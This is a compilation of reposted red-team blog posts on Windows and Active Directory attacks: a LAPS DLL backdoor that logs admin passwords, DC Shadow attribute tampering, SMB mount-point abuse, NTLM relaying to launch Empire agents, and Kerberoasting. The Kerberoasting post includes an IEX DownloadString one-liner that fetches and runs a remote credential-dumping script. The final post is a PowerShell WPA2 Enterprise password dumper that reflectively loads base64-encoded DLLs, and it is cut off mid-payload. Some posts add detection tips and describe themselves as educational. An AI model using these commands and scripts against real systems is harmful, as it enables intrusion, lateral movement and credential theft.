1234wofstream backdoor;backdoor.open("c:\\backdoor.txt");backdoor << newPwd;backdoor.close();

In this way adversary will appear normal, passwords would be synced and will also comply with LAPS policy.

BONUS: Persistence of clear text password *

*Persistence till the time poisoned dll is unchanged.

Dectection/Prevention:
  • Validate the Integrity/Signature of admpwd.dll
  • File Integrity Monitoring (FIM) policy can be created to monitor and changes/modification to the dll.
  • Application whitelisting can be applied to detect/prevent poisoning.
  • Increase LAPS logging level by setting the registry value to 2 (Verbose mode, Log everything):
    HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\GPExtensions\{D76B9641-3288-4f75-942D-087DE603E3EA}\ExtensionDebugLevel

Note:  Above methods are just my ramblings, I am not sure whether some of these would detect or prevent.

Modifying searchFlags attribute:

The attribute of our interest is ms-Mcs-AdmPwd which is a confidential attribute.Let’s first identify searchFlags attribute of ms-Mcs-AdmPwd. We will be using active directory PS module.

SearchFlags_Attribute.png

The searchFlags attribute value is 904 (0x388). From this value we need to remove the 7th bit which is the confidential attribute. CF which is the 7 th bit (0x00000080) ie., After removing the confidential value(0x388-0x80) the new value is 0x308 ie., 776. We will leverage DC Shadow attack to modify the searchFlags attribute.

Detection/Prevention:
  • Anything which detects DC Shadow attack eg.,ALSID Team’s powershell script. ( It detects using the “LDAP_SERVER_NOTIFICATION_OID” and tracks what changes are registered in the AD infrastructure).
  • Microsoft ATA also detects malicious replications.
  • It can also be detected by comparing the metadata of the searchFlags attribute or even looking at the LocalChangeUSN which is inconsistent with searchFlags attribute.

Note: In my lab setup when i removed the confidential attribute from one DC it gets replicated to other DC’s as well (i.e., searchFlags attribute value 776 gets replicated to other DC’s). Another thing i noticed is after every change the SerachFlags version gets increased but in my lab setup it was not increasing after 10. If you find something different do let me know.

References:
https://technet.microsoft.com/en-us/mt227395.aspx
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
https://2017.hack.lu/archive/2017/HackLU_2017_Malicious_use_LAPS_Clementz_Goichot.pdf
https://github.com/GreyCorbel/admpwd
https://rastamouse.me/2018/03/laps—part-2/
http://adds-security.blogspot.com/2018/08/mise-en-place-dune-backdoor-laps-via.html
https://msdn.microsoft.com/en-us/library/cc223153.aspx
https://github.com/AlsidOfficial/UncoverDCShadow

Abusing Mount Points over the SMB Protocol

Original text by Tyranid’s Lair

This blog post is a quick writeup on an interesting feature of SMBv2 which might have uses for lateral movement and red-teamers. When I last spent significant time looking at symbolic link attacks on Windows I took a close look at the SMB server. Since version 2 the SMB protocol has support for symbolic links, specifically the NTFS Reparse Point format. If the SMB server encounters an NTFS symbolic link within a share it’ll extract the REPARSE_DATA_BUFFER and return it to the client based on the SMBv2 protocol specification§2.2.2.2.1.

Screenshot of symbolic link error response from SMB specifications.

The client OS is responsible for parsing the REPARSE_DATA_BUFFER and following it locally. This means that only files the client can already access can be referenced by symbolic links. In fact even resolving symbolic links locally isn’t enabled by default, although I did find a bypass which allowed a malicious server to bypass the client policy and allowing resolving symbolic links locally. Microsoft declined to fix the bypass at the time, it’s issue 138 if you’re interested.

What I found interesting is while IO_REPARSE_TAG_SYMLINK is handled specially on the client, if the server encounters the IO_REPARSE_TAG_MOUNT_POINT reparse point it would follow it on the server. Therefore, if you could introduce a mount point within a share you could access any fixed disk on the server, even if it’s not shared directly. That could have many uses for lateral movement, but the question becomes how could we add a mount point without already having local access to the disk?

First thing to try is to just create a mount point via a UNC path and see what happens. Using the MKLINKCMD built-in you get the following:

Using mklink on \\localhost\c$\abc returns the error "Local NTFS volumes are required to complete the operation."

The error would indicate that setting mount points on remote servers isn’t supported. This would make some sense, setting a mount point on a remote drive would result in unexpected consequences. You’d assume the protocol either doesn’t support setting reparse points at all, or at least restricts them to only allowing symbolic links. We can get a rough idea what the protocol expects by looking up the details in the protocol specification. Setting a reparse point requires sending the FSCTL_SET_REPARSE_POINT IO control code to a file, therefore we can look up the section on the SMB2 IOCTL command to see if any there’s any information about the control code.

After a bit of digging you’ll find that FSCTL_SET_REPARSE_POINT is indeed supported and there’s a note in §3.3.5.15.13 which I’ve reproduced below.

«When the server receives a request that contains an SMB2 header with a Command value equal to SMB2 IOCTL and a CtlCode of FSCTL_SET_REPARSE_POINT, message handling proceeds as follows:If the ReparseTag field in FSCTL_SET_REPARSE_POINT, as specified in [MS-FSCC] section 2.3.65, is not IO_REPARSE_TAG_SYMLINK, the server SHOULD verify that the caller has the required permissions to execute this FSCTL.<330> If the caller does not have the required permissions, the server MUST fail the call with an error code of STATUS_ACCESS_DENIED.»The text in the specification seems to imply the server only needs to check explicitly for IO_REPARSE_TAG_SYMLINK, and if the tag is something different it should do some sort of check to see if it’s allowed, but it doesn’t say anything about setting a different tag to be explicitly banned. Perhaps it’s just the MKLINK built-in which doesn’t handle this scenario? Let’s try the CreateMountPoint tool from my symboliclink-testing-tools project and see if that helps.

Using CreateMountPoint on \\localhost\c$\abc gives access denied.

CreateMountPoint doesn’t show an error about only supporting local NTFS volumes, but it does return an access denied error. This ties in with the description §3.3.5.15.13, if the implied check fails the code should return access denied. Of course the protocol specification doesn’t actually say what check should be performed, I guess it’s time to break out the disassembler and look at the implementation in the SMBv2 driver, srv2.sys.

I used IDA to look for immediate values for IO_REPARSE_TAG_SYMLINK which is 0xA000000C. It seems likely that any check would first look for that value along with any other checking for the other tags. In the driver from Windows 10 1809 there was only one hit in Smb2ValidateIoctl. The code is roughly as follows:

NTSTATUS Smb2ValidateIoctl(SmbIoctlRequest* request){ // … switch(request>IoControlCode){case FSCTL_SET_REPARSE_POINT: REPARSE_DATA_BUFFER* reparse =(REPARSE_DATA_BUFFER*)request>Buffer;
// Validate length etc. if(reparse>ReparseTag != IO_REPARSE_TAG_SYMLINK &&
!request>SomeOffset->SomeByteValue){
return STATUS_ACCESS_DENIED;} // Complete FSCTL_SET_REPARSE_POINT request. }}

The code extracts the data from the IOCTL request, it fails with STATUS_ACCESS_DENIED if the tag is not IO_REPARSE_TAG_SYMLINK and some byte value is 0 which is referenced from the request data. Tracking down who sets this value can be tricky sometimes, however I usually have good results by just searching for the variables offset as an immediate value in IDA, in this case 0x200 and just go through the results looking for likely MOV instructions. I found an instruction «MOV [RCX+0x200], AL» inside Smb2ExecuteSessionSetupReal which looked to be the one. The variable is being set with the result of the call to Smb2IsAdmin which just checks if the caller has the BUILTIN\Administrators group in their token. It seems that we can set arbitrary reparse points on a remote share, as long as we’re an administrator on the machine. We should still test that’s really the case:

Using CreateMountPoint on \\localhost\c$\abc is successful and listing the directory showing the windows folder.

Testing from an administrator account allows us to create the mount point, and when listing the directory from a UNC path the Windows folder is shown. While I’ve demonstrated this on local admin shares this will work on any share and the mount point is followed on the remote server.

Is this trick useful? Requiring administrator access does mean it’s not something you could abuse for local privilege escalation and if you have administrator access remotely there’s almost certainly nastier things you could do. Still it could be useful if the target machine has the admin shares disabled, or there’s monitoring in place which would detect the use of ADMIN$ or C$ in lateral movement as if there’s any other writable share you could add a new directory which would give full control over any other fixed drive.

I can’t find anyone documenting this before, but I could have missed it as the search results are heavily biased towards SAMBA configurations when you search for SMB and mount points (for obvious reasons). This trick is another example of ensuring you test any assumptions about the security behavior of a system as it’s probably not documented what the actual behavior is. Even though a tool such as MKLINK claims a lack of a support for setting remote mount points by digging into available specification and looking at the code itself you can find some interesting stuff.

Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes)

( Original text by byt3bl33d3r )

This blog post is mainly aimed to be a very ‘cut & dry’ practical guide to help clear up any confusion regarding NTLM relaying. Talking to pentesters I’ve noticed that there seems to be a lot of general confusion regarding what you can do with those pesky hashes you get with Responder. I also noticed there doesn’t seem to be an up to date guide on how to do this on the interwebs, and the articles that I did see about the subject either reference tools that are outdated, broken and/or not maintained anymore.

I won’t go into detail on all the specifics since there are a TON of papers out there detailing how the attack actually works, this one from SANS is a ok when it comes to the theory behind the attack.

Before we dive into the thick of it we need make sure we are on the same page with a couple of things.

NTLM vs. NTLMv1/v2 vs. Net-NTLMv1/v2

This is where the confusion starts for a lot of people and quite frankly I don’t blame them because all of the articles about this attack talk about NTLMv1/v2, so when they see Net-NTLMv1/v2 anywhere obviously people wonder if it’s the same thing.

Edit 06/05/2017 — Updated the TL;DR as it was brought to my attention the way I phrased it was still confusing.

TL;DR NTLMv1/v2 is a shorthand for Net-NTLMv1/v2 and hence are the same thing.

However, NTLM (without v1/v2) means something completely different.

NTLM hashes are stored in the Security Account Manager (SAM) database and in Domain Controller’s NTDS.dit database. They look like this:

aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42

Contrary to what you’d expect, the LM hash is the one before the semicolon and the NT hash is the one after the semicolon. Starting with Windows Vista and Windows Server 2008, by default, only the NT hash is stored.

Net-NTLM hashes are used for network authentication (they are derived from a challenge/response algorithm and are based on the user’s NT hash). Here’s an example of a Net-NTLMv2 (a.k.a NTLMv2) hash:

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030 

(This hash was taken from the Hashcat example hash page here)

From a pentesting perspective:

  • You CAN perform Pass-The-Hash attacks with NTLM hashes.
  • You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes.

You get NTLM hashes when dumping the SAM database of any Windows OS, a Domain Controller’s NTDS.dit database or from Mimikatz (Fun fact, although you can’t get clear-text passwords from Mimikatz on Windows >= 8.1 you can get NTLM hashes from memory). Some tools just give you the NT hash (e.g. Mimikatz) and that’s perfectly fine: obviously you can still Pass-The-Hash with just the NT hash.

You get Net-NTLMv1/v2 (a.k.a NTLMv1/v2) hashes when using tools like Responder or Inveigh.

This article is going to be talking about what you can do with Net-NTLM in modern windows environments.

Relaying 101

Since MS08-068 you cannot relay a Net-NTLM hash back to the same machine you got it from (e.g. the ‘reflective’ attack) unless you’re performing a cross-protocol relay (which is an entirely different topic). However you can still relay the hash to another machine.

TL;DR you don’t have to crack the hashes you get from Responder, you can directly relay them to other machines!

What’s really cool about this? You can use Responder in combination with a relay tool to automatically intercept connections and relay authentication hashes!

The only caveat to this attack? SMB Signing needs to be disabled on the machine you’re relaying too. With the exception of Windows Server OS’s, all Windows operating systems have SMB Signing disabled by default.

Personally, I consider SMB Signing to be one of the most overlooked and underrated security settings in Windows specifically because of this attack and how easy it allows for attackers to gain an initial foothold.

Setting up

Grab Responder (do not use the version of Responder on SpiderLab’s Github repository as it isn’t maintained anymore, you should be using lgandx’s fork), edit the Responder.conf file and turn off the SMB and HTTP servers:

[Responder Core]

; Servers to start
SQL = On
SMB = Off     # Turn this off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off    # Turn this off
HTTPS = On
DNS = On
LDAP = On

Now you need a relaying tool.

There are 2 main tools that are maintained and updated regularly that can be used to perform relay attacks with Net-NTLMv1/v2 hashes:

I personally use ntlmrelayx.py so I’ll stick with that for this blogpost.

Install Impacket using pip or manually by git cloning the repo and running the setup file and it will put the ntlmrelayx.py script in your path.

Now you need list of targets to relay to.

How you do that is up to you. I personally use CrackMapExec: V4 has a handy --gen-relay-list flag just for this:

cme smb <CIDR> --gen-relay-list targets.txt

The above command will generate a list of all hosts with SMB Signing disabled and output them to the specified file.

0wning Stuff

Now that you have everything you need, fire up Responder in one terminal window:

python Responder.py -I <interface> -r -d -w

And ntlmrelayx.py in another:

ntlmrelayx.py -tf targets.txt

By default, ntlmrelayx.py upon a successful relay will dump the SAM database of the target.

Buuuuut, you know whats even better? How about executing a command?

ntlmrelayx.py -tf targets.txt -c <insert your Empire Powershell launcher here>

Now, every time ntlmrelayx.py successfully relays a Net-NTLM hash, you will get an Empire agent! How cool is that??!

Here’s a video of how it looks like in practice:

Let’s recap

  1. We’re using Responder to intercept authentication attempts (Net-NTLM hashes) via Multicast/Broadcast protocols.
  2. However, since we turned off Responder’s SMB and HTTP servers and have ntlmrelayx.py running, those authentication attempts get automatically passed to ntlmrelayx.py’s SMB and HTTP servers
  3. ntlmrelayx.py takes over and relays those hashes to our target list. If the relay is successful it will execute our Empire launcher and give us an Empire Agent on the target machine.

Conclusion

SMB Relaying attacks are very much still relevant. Having SMB Signing disabled in combination with Multicast/Broadcast protocols allow attackers to seamlessly intercept authentication attempts, relay them to other machines and gain an initial foothold on an Active Directory network in a matter of minutes.

Now, combine this with something like DeathStar and you have automated everything from getting a foothold to gaining Domain Admin rights!

Shout outs

These are the people responsible for these amazing tools, hard work and research. You should be following them everywhere!

Kerberoasting — From setup to cracking

( Original text by Mark Mo

Feel free to follow me on Twitter at @_markmo_ (yes with the underscores)

From my experience, the hardest part of kerberoasting is setting up the environment. I’ll go over setup all the way to cracking the password. Obviously, only run any scripts on your own machines at your own risk and this is for educational purposes.

Download a windows 2016 server image from Microsoft evaluation site

https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2016

You don’t need to user real information to evaluate the software

Install the ISO on your choice of VM host. I’m using VMware.

If it asks for you for a license key ignore it

If you are using VMware and you see this then VMware has added a floppy disk that you need to remove

Just do this (also, give yourself more ram if you can, default is 2gb I gave myself 8gb)

If you get prompted to install from the CD, do click any button. When you get here be sure to install the desktop experience

on the next screen it asks for a typical or custom option, take the custom option and the only thing you get to select is the disk location. If all goes well you will be logged in. Take a snap shot in case you mess something up.

At this point you are ready to install Active directory. Here is the best guide I’ve seen. No point in re-inventing the wheel just follow this to install AD. One note, if you are not planning to setup other server in your active directory lab, you don’t need to mess with your network settings on step one of the document

Follow this guide to setup AD on your 2016 server. It is the easiest hands on guide I’ve seen

https://blogs.technet.microsoft.com/canitpro/2017/02/22/step-by-step-setting-up-active-directory-in-windows-server-2016/

Once you have Active Directory installed go to a command prompt and type whoami and you should see your domain

For simplicity sake, we will setup one Service Principal Name (SPN) to practices roasting. We will give it a password that is contained in the rockyou.txt password dictionary that comes with Kali Linux.

Type DSA.MSC

select right click on your domain and select “New” then “User” from the fly out menus

Lets create a fake SQL service account

I’m picking this for the password as it is in Rockyou.txt for demonstration purposes. I suggest you do the same for your first roast.

Enter the password and set the password not to expire and don’t make the user change the password and don’t let the user change the password. Make it look like this.

Now we will make our Service Principal Name (SPN). Echo your computer name. You need your computer name for the setspn command

Now we will create the SPN

We will be able to verify we got it setup correctly by calling setSPN command again.

Before attempting kerberoast or any tool or script, always take a snapshot. I always take a snapshot before testing any tool. It might be malicious.

If you are an unprivileged users and need to bypass some powershell restrictions you can use this

powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1′);Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat

If you just want the hash for cracking you can use this and dump the file to C:\Users\Public\HashCapture.txt

IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1′);Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath ‘c:\users\public\HashCapture.txt’ -Width 8000

Either way now we need to crack it. Copy the Hash to your kali box on one single line and save the file. I’m creating a file called test.txt

Run this command (I’m running pot file disabled as I’ve already cracked it)

In a few minutes you should see it is cracked if you entered your password correctly and the password is in your password dictionary and you can see the password in the capture.cracked output file

I hope you learned something. Follow me on twitter @_markmo_ (yes with the underscore)

Recovering Plaintext Domain Credentials from WPA2 Enterprise on a Compromised Host

( Original text  )

Introduction

Hello reader. In this post I will explain what I have learned from studying how windows stores credentials for WPA2 Enterprise.

This research conducted me to develop a tool capable of retrieving it, in plaintext! This could be useful when compromising AD workstations that use this kind of authentication in a Wireless Access Point.

Differences between WPA2 PSK and WPA2 Enterprise at Credential storage

To retrieve WPA2 PSK passwords there is no need for administrator rights or even elevated process, but for WPA2 Enterprise, it is needed. Because it is encrypted with SYSTEM DPAPI keys and only this user can decrypt it. So for that we need to own local administrator privileges.

When you first log-in to a WPA2 Enterprise network, DPAPI (Data Protection API) encrypts with the CURRENT USER encryption-key the domain password used to be connect to the AP. The result of this encryption is used to encrypt again, but now with SYSTEM encryption-key, alongside with Domain name and Username used to log-in to the AP.

The function used to decrypt the data, using the current-user DPAPI key is this one.

The procedure is like this:

  1. AP tells computer that log-in was successful with credentials inserted by the user.
  2. User encrypts password with DPAPI keys.
  3. SYSTEM encrypts domain and username with DPAPI keys alongside with output from step 2.
  4. SYSTEM stores data to HKCU registry hive.

How to retrieve this information

Do the reverse operation.

  1. Get data from HKCU registry hive
  2. Turn to SYSTEM and decrypt the first layer, this will decrypt Domain name and Username information.
  3. Revert back to user using RevertToSelf()
  4. Decrypt output from step 2 to get password plaintext data.

Proof-Of-Concept code

Enough of theory. I needed to dump my own credentials.

All code samples I found in the internet used PsExec to get a system shell. I dislike this method, and prefered to create a smooth experience by not relying on any external tool like tools from SysInternals. So I chose to use Token Impersonation from my “How to get system — Part 2” as it was working and only relies on PowerShell. This resulted in the following PowerShell script:

function Get-System 
{
    if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') 
    {
        Write-Output "This powershell shell is not in STA mode!";
        return ;
    }

    if(-not ([System.Management.Automation.PSTypeName]"zc00l.ImpersonationToken").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("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nACfAAkAoACkAAkApACpAAkAqACuAAkArACzAAkAsAC4AC4ACwApAS4AEwAyAS4AGwBRAS4AIwBaAS4AKwB1AS4AMwB1AS4AOwB1AS4AQwBaAS4ASwB7AS4AUwB1AS4AWwB1AS4AYwCTAS4AawC9AS4AcwDKAeMAewByABMAwAAlAMAAKQDAADQAvQA8AL0AGgAiADwAXgAcBSkFAAEDALkEAQBAAQUAYAcCAEABCQC0BQEAAAELAHMFAQBAAQ0AZAUBAEABDwDUBgEAQAERAGwHAgBAARMA+wQBAASAAAABAAAAAAAAAAAAAAAAANsAAAAEAAAAAAAAAAAAAABpACkCAAAAAAQAAAAAAAAAAAAAAGkAWAUAAAAAAwACAAQAAgAFAAIABgACAAcAAgAnAFkAAAAAPE1vZHVsZT4AVE9LRU5fUkVBRABTVEFOREFSRF9SSUdIVFNfUkVBRABTRV9QUklWSUxFR0VfRU5BQkxFRABTVEFOREFSRF9SSUdIVFNfUkVRVUlSRUQAU0VfUFJJVklMRUdFX1JFTU9WRUQAVE9LRU5fQURKVVNUX1NFU1NJT05JRABMVUlEAFRPS0VOX1FVRVJZX1NPVVJDRQBUT0tFTl9EVVBMSUNBVEUAVE9LRU5fSU1QRVJTT05BVEUAU0VDVVJJVFlfSU1QRVJTT05BVElPTl9MRVZFTABJbXBlcnNvbmF0aW9uVG9rZW5ETEwAUFJPQ0VTU19RVUVSWV9JTkZPUk1BVElPTgBUT0tFTl9QUklWSUxFR0VTAFRPS0VOX0FESlVTVF9QUklWSUxFR0VTAExVSURfQU5EX0FUVFJJQlVURVMAVE9LRU5fQURKVVNUX0dST1VQUwBUT0tFTl9BTExfQUNDRVNTAFNFX1BSSVZJTEVHRV9VU0VEX0ZPUl9BQ0NFU1MAUFJJVklMRUdFX1NFVABUT0tFTl9BREpVU1RfREVGQVVMVABTRV9QUklWSUxFR0VfRU5BQkxFRF9CWV9ERUZBVUxUAEFOWVNJWkVfQVJSQVkAVE9LRU5fQVNTSUdOX1BSSU1BUlkAUFJJVklMRUdFX1NFVF9BTExfTkVDRVNTQVJZAFRPS0VOX1FVRVJZAHZhbHVlX18AU2V0UXVvdGEAbXNjb3JsaWIAcHJvYwBnZXRfSWQAcHJvY2Vzc0lkAFZpcnR1YWxNZW1vcnlSZWFkAENyZWF0ZVRocmVhZABJc1ByaXZpbGVnZUVuYWJsZWQAcGlkAGxwTHVpZABFbmFibGVQcml2aWxlZ2UARHVwbGljYXRlSGFuZGxlAER1cGxpY2F0ZVRva2VuSGFuZGxlAEV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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")) | Out-Null
        Write-Verbose "DLL has been reflected."
    }
    
    if(-not [zc00l.ImpersonationToken]::ImpersonateProcessToken((Get-Process Winlogon).Id))
    {
        Write-Output "Could not Impersonate Token! Maybe you are not Local Admin?";
        return;
    }
    Write-Output "We are: $([Environment]::Username)"
}

function Check-System
{
    if([Environment]::Username -eq "SYSTEM")
    {
        return $true
    }
    return $false
}

function Get-WlanEnterprisePassword
{
    
    if([Environment]::Username -ne "SYSTEM")
    {
        # Only SYSTEM user can dump the first stage decryption.
        Get-System
        if(-not (Check-System))
        {
            Write-Output "Only SYSTEM can dump DPAPI secrets!"
            return
        }
    }

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    [Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDANie2FsAAAAAAAAAAOAAAiELAQsAABQAAAAGAAAAAAAAjjMAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAEAzAABLAAAAAEAAAJgCAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAlBMAAAAgAAAAFAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAJgCAAAAQAAAAAQAAAAWAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAGgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAABwMwAAAAAAAEgAAAACAAUAWCUAAOgNAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL4C0AQAAAIoBQAACigGAAAKfQcAAAQCFn0IAAAEAn4DAAAEfQkAAAQCFH0KAAAEKgMwBABQAAAAAAAAAAItCBaNCwAAARAAAwKOaSgHAAAKfQYAAAQDewYAAAR+CAAACigJAAAKLAtyAQAAcHMKAAAKegMCjml9BQAABAIWA3sGAAAEAo5pKAsAAAoqWn4EAAAEAn4MAAAKf